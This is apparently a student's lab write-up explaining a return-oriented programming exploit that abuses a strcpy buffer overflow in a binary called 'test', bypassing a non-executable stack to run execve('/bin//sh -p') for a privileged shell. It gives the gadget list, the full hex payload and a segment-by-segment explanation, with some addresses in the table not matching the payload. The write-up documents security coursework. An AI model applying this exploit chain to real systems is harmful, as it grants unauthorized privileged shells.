Nish Patel

# Part 4 Documentation

*Methodology and Thought Process*:

Buffer Overflow: Like the previous parts, the buffer overflow vulnerability in `test` (`strcpy()`) was exploited to achieve the specified goal; however, for this part, a system call `execve()` needed to be executed to obtain a shell with admin priviledge. As a result of DEP (inexecutable stack), the typical approach for achieving this by injecting shellcode and overwriting the EIP to read our code would not work on its own, so ROP was used instead.

For the overall process of constructing the ROP chain, I used *Ropper* to find suitable gadgets for controlling the register values, modifying data in memory (write-what-where) and getting zero bytes (`xor`), since `\0` can signal termination of the payload string prematurely.

Below are the main gadgets used:

| | |
|---|---|
| `pop eax; ret` | ← Control `eax` (placeholder for strings) |
| `pop ebx; ret` | ← Control `ebx` (store "`/bin//sh`") |
| `pop ecx; pop ebx; ret` | ← Control `ecx` (padding to prevent writing ebx) |
| `xor eax, eax; ret` | ← Get zero (writing zero bytes in memory) |
| `inc eax; ret` | ← Increment `eax` (store `0xb` in eax by +1's for syscall) |
| `mov [edx], eax; ret` | ← Write to memory (for writing values in mem.) |
| `int 0x80` | ← System call (`execve`) |

---

*Input Provided to Binary (**Exploit Payload**)*:

```
"AAAAAAAAAAAAAAAAAAAAAAAAAAAA"$'\x3A\xEA\x06\x08\x60\xA0\x0E\x08\x56\xB0\x0B
\x08'"/bin"$'\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x64\xA0\x0E\x08\x56\xB0\x0B\x08
'"//sh"$'\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x68\xA0\x0E\x08\x50\x44\x05\x08\x6D
\xA3\x09\x08\x3A\xEA\x06\x08\x69\xA0\x0E\x08\x56\xB0\x0B\x08'"-pXX"$'\x6D\xA3
\x09\x08\x3A\xEA\x06\x08\x6B\xA0\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\x3A\
xEA\x06\x08\x6F\xA0\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x
78\xA0\x0E\x08\x56\xB0\x0B\x08\x60\xA0\x0E\x08\x6D\xA3\x09\x08\x3A\xEA\x06\x0
8\x7C\xA0\x0E\x08\x56\xB0\x0B\x08\x69\xA0\x0E\x08\x6D\xA3\x09\x08\x3A\xEA\x06
\x08\x80\xA0\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x84\xA0\
x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\xC9\x81\x04\x08\x60\xA0\x0E\x08\x61\x
EA\x06\x08\x78\xA0\x0E\x08\x60\xA0\x0E\x08\x3A\xEA\x06\x08\x6C\xA0\x0E\x08\x5
0\x44\x05\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\
x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x01\x95\x04\x08'
```

---

*Some Explanation of the Payload Structure (**Alternated colors for readability**):*

| Payload snippets | Explanation/Pseudo-code |
|---|---|
| `"AAAAAAAAAAAAAAAAAAAAAAAAAAAA"` | Initial buffer overflow (A · 29) |
| `\x3A\xEA\x06\x08\x60\xA0\x0E\x08 \x56\xB0\x0B\x08"/bin"\x6D\xA3\x 09\x08` | Writing `/bin` to memory (pop `edx` with address; pop `eax` with '`/bin`'; `mov [edx], eax`; |
| `\x3A\xEA\x06\x08\x64\xA0\x0E\x08 \x56\xB0\x0B\x08"//sh"\x6D\xA3\x 09\x08` | Writing `//sh` to memory (pop `edx` with address; pop `eax` with '`//sh`'; `mov [edx], eax`; |
| `\x3A\xEA\x06\x08\x68\xA0\x0E\x08 \x50\x44\x05\x08\x6D\xA3\x09\x08` | Writing `\0` after '`/bin//sh`' |
| `\x3A\xEA\x06\x08\x69\xA0\x0E\x08 \x56\xB0\x0B\x08"-pXX"\x6D\xA3\x 09\x08` | Writing `-p` to memory (pop `edx` with address; pop `eax` with '`-pXX`'; `mov [edx], eax`; |
| `\x3A\xEA\x06\x08\x6B\xA0\x0E\x08 \x50\x44\x05\x08\x6D\xA3\x09\x08 \x3A\xEA\x06\x08\x6F\xA0\x0E\x08 \x50\x44\x05\x08\x6D\xA3\x09\x08` | Padding with zeros to ensure reading `-p` string ends at proper area |
| `\x3A\xEA\x06\x08\x78\xA0\x0E\x08 \x56\xB0\x0B\x08\x60\xA0\x0E\x08 \x6D\xA3\x09\x08` | `args[0]`: Writing pointer to '`/bin//sh`' using same write-what-where procedure as before |
| `\x3A\xEA\x06\x08\x7C\xA0\x0E\x08 \x50\x44\x05\x08\x6D\xA3\x09\x08` | Writing `\0` after first element of array |
| `\x3A\xEA\x06\x08\x7D\xA0\x0E\x08 \x56\xB0\x0B\x08\x69\xA0\x0E\x08 \x6D\xA3\x09\x08` | `args[1]`: Writing pointer to '`-p`' using same write-what-where procedure as before |
| `\x3A\xEA\x06\x08\x81\xA0\x0E\x08 \x50\x44\x05\x08\x6D\xA3\x09\x08 \x3A\xEA\x06\x08\x85\xA0\x0E\x08 \x50\x44\x05\x08\x6D\xA3\x09\x08` | Writing NULL to memory (null-terminate array) |
| `\xC9\x81\x04\x08\x60\xA0\x0E\x08` | Storing '`/bin//sh`' into `ebx` for syscall |

```
\x61\xEA\x06\x08\x78\xA0\x0E\x08
\x60\xA0\x0E\x08
```

Storing pointer to array in `ecx` for syscall (and padding without overwriting `ebx`)

```
\x3A\xEA\x06\x08\x6C\xA0\x0E\x08
```

Storing `0x0` in `ecx` for syscall

```
\x50\x44\x05\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08
```

Storing `0xb` in `eax` for syscall (set to zero with `xor eax, eax;` and increment by 1 using `inc eax;` until reaching `0xb`)

```
\x01\x95\x04\x08
```

Syscall `execve` with registers prepared